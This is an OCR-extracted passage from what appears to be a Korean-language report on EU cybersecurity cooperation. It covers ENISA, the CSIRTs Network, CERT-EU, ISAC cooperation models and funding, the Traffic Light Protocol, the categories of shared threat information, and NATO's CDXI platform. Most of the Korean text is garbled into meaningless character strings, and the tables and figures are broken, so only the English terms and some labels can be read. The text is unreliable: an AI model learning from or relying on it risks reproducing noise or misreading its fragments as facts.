LpMH|AR SRMHIAZ 27

24) CSIRTs Network?t &HsI=Z2 #H
25) 77HK| £ MHIAOIUX|, 28, 2, 28 AIF 2Zef, 97, A 33 ¥ {5, CXE Ql=Zahet 37tX| CXE AMH|A(2efel
OIS 20| A, 23101 ZAAY)
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L

[712 1] EAMH[A(Essential Services)?t ZQAH|[A(Important Services)

Essential Services

Energy: electricity, oil, gas, heat, hydrogen | mis2
Health: providers, labs, R&D, pharma | ms2 |

Transport: air, rail, water, road

Postal and courier
Waste management [T
Chemicals

Banks and financial markets Eood
Water and waste water

Digital: IXF, DNS, TLD, DC, CSE CDN, TSP
Space

Public administration

a
= |
m |
0
a
a
(= |
Q

2. SF2(S LMD

20044 YAl 7|7t= AEEIAE ENISA= ICTO| 21t 8VH WHGHA|= ALO|HZZ0 X|A

Q_

Industry: technology and engineering =3

Digital services: social, search, markets

IKOZ HSot|

QI 20191 6% “AlO|H EQHH(Cybersecurity Act)20)0i Ol “REIEH MEEHOMM(The European

Union Agency for Cybersecurity)’Q2 HZl HZASID AM7[H15}

- 3|3@=, EUTH| S O[cHZAIRIS] AOIHES Xz, BESR, WESRA 22t 7[s =8 &

- AO|HEHE0| S2HY CHES 2loh al=2| oAl HSE(CSIRT) 52 X2t 01F
Z=7HH A|AHI(CSIRTs Network) O 2

- 3|®= L HAH7|ZHLEA, Law enforcement agencies), 28, HLX|, AHHOJAIAE

Control Systems)27) & Cf2 ISAC HFLIEIQ} &=

CSIRTs Network= EU 3|3=29| CSIRTRt CERT-EUZ FHEE HEYIZE, 3&S0|
weet & Q= ZHS M3
- Sixf QO 397He| =7t E= At CERT, CSIRT E0| 7t £28)0|H, 718
TF-CSIRT Trusted Introducer290]| 7tI=|0] UALE ENISAS| E8 & Z

(ICS, Industrial

- CSIRTs Network= ZEHMQI Al HSECE= R M9 CSIRT EE AJHSD FoiAlL A 2

SEs Mote &

26) https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32019R0881&qid=1663259011859

27) ENISA= SCADA(Supervisory Control and Data Acquisition) AJAEIS SIS A KO AJAENICS)S O|LX| 28, $=X2],

2%, a8l YR, 2Y U AZ TYS TS TR M) BHO| QoI OFF T4 24211 FO)

28) https://www.enisa.europa.eu/topics/csirts—in—europe/csirt-inventory/certs—by-country—interactive-map#network-statu

s=Member
29) Q82| CERT HRLIE|(https://www.trusted-introducer.org/index.html)
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E

CERT-EU= 20110 A&/ ENISA 45tQ] ZoiALISEOZ, MOt 54 o, ZX|, 28t & 3=

X6t AtojH =Ot M Wt U AL IS XY 52 H&s 3

72 2] BVl HEER ¥ AU

BEIsD 1=
(LEA) EGC
(EU 2| 2l= == CSIRT 15)
| cuopdantioac
European FI-ISAC TF—CSIRT Trusted Introducer
AFAMIOIA IAE (=28 CERT HE2LIED

ICS—SCADA

I X
ICS—SCADA

Ol

P E5ES O|X|= BE ARIS &2 = CSIRTO|

1

l'
r

- 3[E=2 BH0|1 S8t 7I20] MH|A MSH| St
;

Bdet XAl Ql0] SX[eHoF & ofF

mol'

M22 NIS20| D2T Sipi=e TAXO[T F23t 7|20 MHIA HBol SHe YHS DIxl= BE AR
Ve 9B EE CSIRTOI SA SXIGHL ST 712 MHIA HB0| 2HHQ! Y32 I 4 U= AR
AHIA 22100 ZA| X
+ B3 YF0|L} CSIRTE 22

TR MHIA ARl of

mo mio

oﬂ ujo
40
e
=2
=
0o O
o
=
ﬂ
ok

() Sl ARZO| SHiF 710 ATSH 2F BT E= WK M2 ZAUALL B TH5H0| U= B
(b) AZIO] MTFr BUN EE HISEH AMZ Z6l0] TIE XM i Ol
03 7Es40] Y= 22

11

0

+ 3E=2 A J]U0| 2 Y= E= CSIRTO| CH2E MISSH=E 228 o2

I 4] FoiAtno st 21 LHE

(a) St XAl 0| OftEet AR ARMS QUXIGH & 24A12E O|L{Ofl SHESER= AR ARIO| 2 E= oA A

Olof| 2ot Aoz FHYE=A| KRS LiEH= 27| SA
(b) 2 = E= CSIRTY Qo) [t 22 e AC0IE0| Cet S+ 1A
(c) ZATH 2SS Zeloh= (a)°*01| M2 HaM HE = 171 O[O ZE 20
(i) A, dZ= &
(i) M2E FEY 7%“0| %lE °|3* e = o RY,;
(iii) XM= TRy SO st =X,

0R
oo
=
pe
ror
Pl
=
(T
nx
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HHMHE 2t

Q_

- e g 8 2 24MIZ O|LHOfl ARAO| CHet =7| MESS Zotol] SX|

£= CSIRT=E =7| SXIE &2

et o =
7|0l SES HMSoHor S, 2F Al 7kt 2t ZX|0f| Cigt XIES HIZ30
* CSIRTE £ 7|0| 2%ok= E2 7t 7Is XES MSotH, A0 2N 945 T AC=Z o=
42, e I71 @5 E= CSIRTE # & 7|0 A 21
* ARZI0] 271 OFd9l 2la=1t HEE AR &8 = E= CSIRT= gos e UE 2= ¥ ENISA
AUS S0, gl E= HetES E4ols UM Tt MESE HEol 7|22 =2 §ele 2of &
JEH 0|9s BHE
« NS oAU Tl S ARIS X2l | flol tiE2| 2140 BRSt F2, = A9 W7t 2
59| 0|AS *let ER, BT A0 CHoli CHEMIA =l sl 710 2FA of== QY 7ts
ENISAGIM= 20181 2l2i=9] ISAC 20| Ligt 2A3)S Soll YEIREES I/ =7t T4 ZH(the

country-focused model), S2H D%(the sector-specific model), =MD (the international

collaboration model)2 =510 MH
- D7t SN DEL JRE U2 @3oF RE MZEIIRF CSIRTS otte| O|LMEERZ HOl HE 2Rt 24
WRE HO e SUMOZ Sk 20| SH

o 27} A QIS [EE HIZAIXMO|H, CSIRTs LHE E= ISACH 20i6H= ME717t 22|
« AHRI(ICARO), E2EZK(National network of CSIRTs), EI—'.E—OH-IOKForum for information exchange),
25(CERT.LU)OIM =714 DES el 2F =

'Illzl

[1E 3] =7t 3H¢

TYPES OF ORGANIZATIONS SECTORS ? COLLABORATION gf*\
PARTICIPATING IN ISAC ".‘ STYLES AND TOOLS 7
Energy Regular meeting

Working groups

Conference and side events

Web portals/pla rm

Emails and teleconferences
. ”fu tr ,ku es Emails and teleconferenc
aw enforcement
Banking

igence autho

National intelli ties

CAPACITY BUILDING

i

Vulnerability and threat analysis

-_
piiig

GOVERNANCE STRUCTURE

Management roles

e

subsidies

Veoluntary contribution

=

=

S
—_

—_

QEe e 3HE 54 IH, ISACO| HESKRE ¥

ofH ~LIEOA Cf Mol Heloh HOtAH|A

= b L QImat Al
= TZ

- oy 2

30) CSIRT7} SXIE X =&t 82, CSIRT

L

OF LHO{|IA

g3ol= OE FE-HY HE7k=sa = &4

S5101 B Y20| KHS AT

o OS5
= oTro

31) ISAC &3 2Z(Information Sharing and Analysis Center (ISACs) — Cooperative models)

!

ARRIX

7t ZO0FE
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Z3g A 288 4+ UEE of= 20| 2B

- S2Y guoiME B2 Melo] D7 E ISACH HE & ISACS] £ JHK| T2 80| X

« BZISTO| HRW DHe pou Aol LA LS YES IR0k U0 B HY DU, A0l
oiEiol 2Rt 20| WRNS H Olsfohs YBH BT MI0| ETYE F R2Y DHO| AIY

« BZISZO| HPW pUe BE TTnpo| XAS HMa| QOL, M2USH Al B 5 SHE MBOME
33 22 U 33 Y| B

- OIZIREO| ey MEZoouo Zaio| ISHOMIE(BCC, Polish Bank Association), =29012]
712 CERT(HealthCERT) &

+ HPRTo| e YoTonuo TRIC, Wy, LIZRIC SO AJRSED /00 0| H2H ISACO| 25 5

03 4] 22 YEI9RY

COLLABORATION %
STYLES AND TOOLS

TYPES OF ORGANIZATIONS ‘ SECTORS
PARTICIPATING IN ISAC ’ ‘

Cyber

<

FUNDING OPTIONS @

- THYEEEE2 RE HFA T MAIS] =4 OlHFAKIS0| EHolks 22z, 58, AU, g8 59| &7
Hot d=k2 ol Ol=et R ISACH O H=He= HO
« AMOlH HoR2 IZ0| Qs HMSEX| eCh= d R0 =AXel 20| TRosih= Aoz

F“!
r
]
0
H
—
S
=

SToIUCL, YESFO| et H2UA SO 314 RI0|2 2ol 2| 50| 022 -

« 28(EU FI- ISAC), MILX|(EE-ISAC), &f=3(European ISAC in Aviation sector) £29| K

HESREHO| EXY

(02 5 2HHY Y

OH
30
H
nz

TYPES OF ORGANIZATIONS SECTORS ¥ ﬁ o COLLABORATION 4%
PARTICIPATING IN ISAC "‘ STYLES AND TOOLS '%

/ agencies rRegul eting

-
CAPACITY BUILDING 'l_;
Vulnerability and threat analysis

GOVERNANCE STRUCTURE ﬁ
Man oles

SUPF

FUNDING OPTIONS @

t subsidies
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AR 21 Q
3. THi_AXE

EU 3122 W ISACO| X228 XHoi= tgtg(Funding Option)2 & EXF, 713} 27 42, ALH

718 S Cfet Yot0| EXstH ISACS| JZ0[Lt Zt=2| Z=ai0f M2t Xi0|

- 9|2 £23F(Mandatory fees) HAI2 ISACO| AF2S XHot= 7HA LHEMOI HHHO|H 4Fe 7|)9

TH2e}F ISACO| Chet 7[gel & SO Mt XtO| ®

s MEIIE2 a7/t & OBHIMAES0| O T2 FEHE 3RoI=E 57|12 F0oi0] Ut wx=
O|0fTICt T =%

« EXOZ OfLfX| ISACO| 2F B2 EHE T

- XA 7|12(Voluntary contribution)= & BHIME Q17| U= AF 2 SMO|H, O|LHRETE OfL|2} XS
7|Fok= 4R EX

- M2 BEX3Z(Government subsidies)2 EE ISACE X|R¥oh= M2 TDZ 0Lt BIE0| US I XI™

L 20| 9B L HRE Hu BRE Sof QUEERl AHIAS SEsls 00| BIZ 20| gEoftD WY

e

M=o, §FEx=2 U2 B2 Mg =2 84
« Y2 HEF2 IPH TA XSS Xgohs AL HAQ ¥=S XS0 Hefoh| floh AIR=E 20t

39| A5 MSok=e HIE

(712 6] EU 3=l XIZZE et

Mandatory fees 33%

4. TIRAXE
o] R o1 FINIA ISAC B1RE 210 ME ZRE B4 HIYS ME: WAOR 4y
- B BYOl= BRH0F ot =l 9 U 3 HH0| F
- ISACS] RIS A0l I, AT, FoH, 245t XX| W 29 MRSt £70f CfEt Y2S B

Ct=r0| ISACO| &3oh= REQ SZ2= 2ldl, ISAC 7to| HYUS Udlol/| flet Cifet HE ISRYUA

(Collaboration styles and tools)0| A& &

BY
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821 HHAl(Collaboration styles)2 7| 3l9|, X I, 3|0 U B A SO |SACO| AXE=
oA—lJ—'—l' HEE AF
3|2|(Regular meetings)= ISAC7t WRe 4= Q= 7K YHtNol difoz HE A7t = 27|82
HEol] £ 9 & At HEETE OfL[Z 2 At ehgE wEo| et UWHIF 2y
+ &Y JE(Working groups)2 &4 ISACOHIM £ FHIE 27| o MEEH A HFRUEIS I8
siaxo|Lt HUE HiZ
« EY XAl 92 JE(Ad hoc investigative working group)2 EX &0 CHSH CH2OZ AAZ
MHED EY A st AEg |Xlstkn 20| S2EH oiY 1852 ¢
« 3|9| U 2 A Conferences and side events)= ISACQ| &F0f| CHSH QIAS =0|10 O T2 0ol
HARES HOAZ|7] Lol Z=Z]
8 T7(Collaboration tools)= ¢ EEH/SHE, 0|HY LU A 3|O|SO=Z ISAC 7t A5 EE0|
MO HEE SRole YsE B
¢ e /Z3HE(Web portals/ platforms)2 HEE2| ISACOIN AlE2sH= HHO|H, HEZQ9| WS
&2t 7kset EE
« O|HY L 21Z 3|9|(Emails and teleconferences)= ISACHIA 715 QEiMOl =312 O|HY 2ME
US5lol7| ol PGP7IR2E €8

oz
N

(72 7] BRI 7t 8 WA
12

26%
10
23%

18% 18%
15%

[=)]

FS

N

Encrypted email Web Phone call Email Other
portal/platform

32) QIHUOIM ARZol U= OlHY 22t 71E S0 otz & FHTK(Phil Zimmermann)0| SAPHOZ I
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CHEE9| |SAC2 HEHE ZR0ol7| @6 TLP(Traffic Light Protocol)E AM25iH, YHE ISACE 2F
AAZHE FHES 4

- TLP(Traffic Light Protocol)2 =AlXP7t X8 37 ZAE LEHi= 4719 202 Tz 0j=2

‘AfOHE 2 HOHEN(FIRST, Forum of Incident Response and Security)”33)0|A1 20154 XS H|ot

- TLP= ZHO| TIHEe 0|0 ME IR XMots Moz FEo] UMz Holoh 42, HA 50|

ZTYSHEI QUXITH 0|2 Qutet ZQ HRLIE| Lo MRt sfalshs Zat .
~ 202241 BYOY= TLP 5 EIW| (TP version 2.0)2 HH50] ZQYHE LS M=l

= 5 TLP BAle| He|

=4 =28 78 AXKindividual
TLP:RED| A7 XKparticipants)dl  recipients)S IaHAEL
stst O oA JJHotK| 43

HIBHE BIH, 2ARRs X

_ S TH, A 2 Z2H0I1E LolA]
e ZRO| 1B 0IOF B ARBOH CHatRt
R
o HYE 1,02 AAO| 27} U
HREa 7, B MES oiexiol msig R 4
X%| LHOJARE QOoF Bl L o= O
LP:AMBER+STRIC US o = — Q= Hots 0ot
24205t 0l FIFE 4
oIAL L} EX HHAENIAM
me ) TLP:AMBEREZ X|at
HAGLED) MSE ZH,
O RBHE T, SRR
TLP:GREEN S MRH= HDLE| LHOfIA ’
A= LT;H' U Sie et 28
LP:WHITE 2 2H[SH TLP:CLEARZ CHA|
aig i
LP:CLEAR SN FH[st

(TLP:CLEARZ LCHA)

33) 1990 HZE 0O|=9 HIYZHAMZE T2, &Y H A2 HE =2t ©S ZBi6l0] Cifst Hot 3 Afd s
34) 20223 8EEE TLP version 2.09] &=(https://www.first.org/tlp/)
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[ 6] Mu SXE TLP 0K
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s 20

LP:AMBER
LP:AMBER+STRIC

LP:GREEN

11

LP:WHIT

LP:CLEAR

M7t 27t AR Of3 ERpo=
M2l 4 g2 1 TLPRED = AlRY
4 Qlon| 28 A2 YA JHel
MY HS M IS 200 U3
Hee MUS FUHOR HASHOF st
A2 TLPAVBERS ABE 4 QX[
TR 7| Q20N TR Z2 el e

oTr= O
= [ o] S| =
He, 3N I 230 s =0
He
ZN=)

HEIL BE A0 X2 HFLE| £=
2E e S=0f st QAo R85t
A TLP:GREEN 2 Ar2

TLP:WHITEZ Al

TLP:CLEARZ LHX|

SARf] ZEIIZ BRE MK 4
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TLP:AMBER+STRICTE X[

4o

#AXH= TLP:GREEN HEE HFL

E

Stz s/ =7t
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[F 7] $AIKPH TLP BA| MH 29
TLP:RED H& 1.0 H& 2.0

£4XE= TLP:RED HE7t 22 S7HE
E73 3l9, tistel 2Rl I} =71 K= TLPRED FEE CE At

. (g 20, 3|9 HHEAENM TLP:RED 35 27t
IRVIETER HEs slojf B ME2 HE) (S 0| 59 ZEAEN TLPRED
o5 TLP:REDE TS F= X eI S100f ZASH HEE HEh

ez 29

[ . = 2MA= TLP:AMBER HEE X419
$AIXHE TLP:AMBER MEES XAl 27| 2 Sal0flEs) 152 ot
. X TNR Y RIS BESL Fb T T e X
LPAMBER+STRIC sH= "HiXIs |z XHE OH == —{—H_ll' EE|'O|O|_'IEE ESZOl‘J_’_ —’F—7|‘
I[lOHE oX|0|'7| '|’|0H oEE EOI'OF OI‘E I[lsl.lg Hl-xlgl.jl o|3H HI‘EA| ofofoli 5
S20|UE E= 020 2 IR = o 74OT01|E|}|_7|_: 2
oT — o

oTr
S A PN S RS sl vl
TLP:AMBER MEZ 2R3t 4 ¢loM
XEg H551 F7t LS YWX[5H |

2[5 20/0F Bt WL YU HL 3R

2

—
—

[0

LP:GREEN o

0

AMXH= TLP:GREEN HEZ &g 582 _

T SioLEl ol 5o o mey | TAKE TLP:GREEN HE2E FRLE
Eo RUE ol SR R mEy o S o
X3} ZOsH A QIX[at KOS Hel S= X MEH ZXt &5

Sl ome T RS ST QIX|gt ZHAOR MMA JKSE Age
LP:WHITE GHMIA TiSet RS SollM= 37 27t S 2O 27}
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0] #z0] o S8 ARLEI U0 (o0 om0 T 00 o op
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TRHSE ZOIMD, MO B, FIOH, BT, HHOIN, DHAR, MM 24 SO B

ZlohAt(Incidents)= &4 %E(description of information lost), AF2E 7|&(techniques used),
o|%(intent) X FKimpact)Oil CHEH A3, MB35t Z70| A HE35) S
AO|H 2I8i(Threats)2 EIHMOZ 25 HetS 01 £ U= OF LIAEX| 42 ZH|(yet-to-be—under
stood issues with potentially serious implications), 2f2|XQ! m(malicious files), =S HAt
M FA(stolen email addresses), F&kS Eh= IP FA(impacted IP addresses) = A T2 J#
MZ(malware samples)dt Z2 24 A3(indicators of compromise) E= U AKXl CHS
HEOE et

OFM(Vulnerabilities)2 249|X{01 2X{oz

Flory

10

8E = Us 2TEY0N, SI=R0 E= HIZLA Z2M|A9

S Mitigations)i= F|UHES +Hol LIRS YRIGHAL RIHSHH FGHAIL0 HHSSIY =15k= YYo=,
FloFdS XEfohs x|, A LXIS LIoh HIO[HA Hidl HH|O|E, HESRIFOIA ASKR! HRRIE XHok=
H O| IISH

H
o

lIEJ
oot

— A& Q1A(Situational awareness)2 A Z™XIZL AL CHEE & U= HHE UsHH, A= F|of49|

202249 M2 ™MEHEOIXIZI(NIS2, NIS2 Directive)liAi= EU & 3
ZO7} LS AIO|H HOF HHO| 2EE2S I1|A|37)

&
AAZE EH(real-time telemetry of exploited wvulnerabilities), &M 2I&l(active threats),
SZ(attacks), 324 [HA(targets of attacks) S92 ME

B AtZl(Best practices)= HOF S, JHY L AL HS A, 2AZEQ0 IHX| E= 0t =Y 7IE
S ATEQ0 2 MHAS JHE I HiE i HEE HE
M2 EXM(Strategic analysis)2 LIS @39 ME.

B CHEIE 4+ U= )

H

=

PN =,

A
=1

mujn
HI

Mot SIAMZEASO0| D=2

a

rio

= 9] HHUERIE Lelotd,

]

— AOIHIE, Near misses(ZESHO| AISHE), FIAH, siZ7IE X Zxt, HEL CIOJEf & 2H= HIO[E,

oid %, AU Tz, AR EY E, HPAMO| Tz H 2O Tool 2 A Afel, AO|H HO &FH,

AO|H 239 BiAl(Modus operandi) S

35) ZhALe M2ty MaNoZ AHHE ZA0AN M2st =7t ot AE0)| 0|27 (7K Tt
36) 2IE HHE= RIGAVL AILE EXGHALE YA[St, Xt AIARDL CHE AABIS O & HSS 4 Qe £388 MEes O =2
37) NIS20i CHst 2|3| HMiote] 4&ot 238(Amendment 238 of the Parliament's proposal)oll Z&t=l LiE
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HHMHE 2t Q

E3 ENISA MSIOfA AA| ZIGHAILD CHS X MEZR YFE HYol= CERT-EU= NATO SAEEZ(NCI Agency,

NATO Communications and Information Agency)38)392t A0|H HOt ME w2ts 25t 7i& &S XIZ

NCI Agency= CSIRTZt MZ ZH0]| W2 OFMSH| 7| HEE 3/ & U= CDXI(Cyber Security

Data Exchange and Collaboration Infrastructure)S 7H40) ®

- CDXI= HE Q2 S5 shiFEs 7|8 A|ARIOZ XISsE ME ZQ, 20[5H Al0|H M MM} 13
S =2HZ M

- 02 Y2 SRe 2HE HES USoIE= Cet AIA=0AM 380] 7ts

6. B3I M

fLih

[7712! 8] CDXI Architecture

Organisation Data I Shared Data

I API

| |

VATeam\ :
@‘——% -5l ~sd—5d
L s/ Yy Sy
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